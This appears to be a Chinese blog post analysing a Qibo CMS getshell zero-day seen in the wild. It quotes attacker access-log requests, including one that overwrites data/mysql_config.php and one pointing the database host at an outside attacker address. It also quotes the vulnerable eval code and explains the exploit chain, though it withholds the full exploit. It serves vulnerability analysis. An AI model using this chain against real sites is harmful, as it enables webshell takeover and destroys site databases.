Blog:http://fuck.0day5.com、http://www.fuckgcd.net
当天晚上,我和妹子决裂了,是的,决裂了,正在我伤心之时,小伙伴告诉我,齐博cms出问题了,才发临时补丁,然后附上了连接http://bbs.qibosoft.com/read-forum-tid-419640.htm
看到:
哟,说明已经被搞了嘛,然后还有个站长贴出了c.php的代码
解密后看到
密码为FENG
绝逼是有黑阔在批量这个漏洞了,通过百度去采集一下do/c.php这个
然后咱们根据这个读取一下日志分析分析
在十月一号19点5分生成的日志如下:
/do/fujsarticle.php?type=like&FileName=data/mysql_config.php&submit=fuck HTTP/1.1″ 200 26 [-] [-] /do/jf.php?dbuser=getshell&dbhost=xxx.xxx.xxx.xxx&dbpw=shellpwd&dbname=getshell&pre=qb_&dbcharset=gbk&submit=getshell HTTP/1.1″ 200 17985 [-] [-] /do/c.php HTTP/1.1″ 200 – [-] [Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]下载源程序下来审计,首先找到/do/fujsarticle.php文件
$FileName=dirname(__FILE__)."/cache/fujsarticle_cache/"; if($type=='like'){ //只有type=like时候才 $FileName.=floor($id/3000)."/"; }else{ unset($id); }
在其中 require_once(dirname(__FILE__).]/global.php]);
可以看到,由于加载了global.php文件,所以前面FileName的get变量再次extract了
所以FIleName可控~
然后看到/do/jf.php
$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list"); while($rs = $db->fetch_array($query)){ $fnameDB[$rs[fid]]=$rs[name]; $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list"); while($rs2 = $db->fetch_array($query2)){ eval("\$rs2[title]=\"$rs2[title]\";"); eval("\$rs2[content]=\"$rs2[content]\";"); $jfDB[$rs[fid]][]=$rs2; } }
看到在fjabout里读取到的title和content都执行了
经过小伙伴们的提点,先使用fujsarticle.php对数据库配置文件data/mysql_config.php进行覆盖,然后再使用远程的数据库内的xx_fjabout内的内容生成了一句话
哈哈,思路就是这个,exp就不发了,因为shell上一个就会破坏数据库,拿一个shell死一个网站
漏洞证明如下(只写了个phpinfo)
在此,谢谢ztz,hellove,maple三位小伙伴的教导~~
查看更多关于我是如何和大牛搞定齐博cmsgetshell 0-day的 - 网站安的详细内容...